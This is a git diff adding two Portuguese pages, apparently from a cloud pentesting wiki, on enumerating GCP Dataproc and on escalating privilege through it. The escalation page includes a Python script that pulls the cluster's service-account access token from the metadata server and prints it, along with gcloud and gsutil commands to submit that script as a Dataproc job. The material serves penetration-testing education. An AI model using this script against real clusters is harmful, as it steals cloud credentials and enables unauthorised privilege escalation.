diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..8573bfe64 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +Não consegui obter um shell reverso usando este método, no entanto, é possível vazar o token SA do endpoint de metadados usando o método descrito abaixo. + +#### Steps to exploit + +- Coloque o script do trabalho no GCP Bucket + +- Envie um trabalho para um cluster Dataproc. + +- Use o trabalho para acessar o servidor de metadados. + +- Vaze o token da conta de serviço usado pelo cluster. +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..ce4d77747 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Informações Básicas + +Google Cloud Dataproc é um serviço totalmente gerenciado para executar Apache Spark, Apache Hadoop, Apache Flink e outras estruturas de big data. É utilizado principalmente para processamento de dados, consultas, aprendizado de máquina e análises de fluxo. Dataproc permite que as organizações criem clusters para computação distribuída com facilidade, integrando-se perfeitamente com outros serviços do Google Cloud Platform (GCP), como Cloud Storage, BigQuery e Cloud Monitoring. + +Os clusters Dataproc são executados em máquinas virtuais (VMs), e a conta de serviço associada a essas VMs determina as permissões e o nível de acesso do cluster. + +## Componentes + +Um cluster Dataproc normalmente inclui: + +Master Node: Gerencia os recursos do cluster e coordena tarefas distribuídas. + +Worker Nodes: Executam tarefas distribuídas. + +Service Accounts: Gerenciam chamadas de API e acessam outros serviços do GCP. + +## Enumeração + +Clusters, jobs e configurações do Dataproc podem ser enumerados para coletar informações sensíveis, como contas de serviço, permissões e possíveis configurações incorretas. + +### Enumeração de Clusters + +Para enumerar clusters Dataproc e recuperar seus detalhes: +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### Enumeração de Trabalho +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### Privesc + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}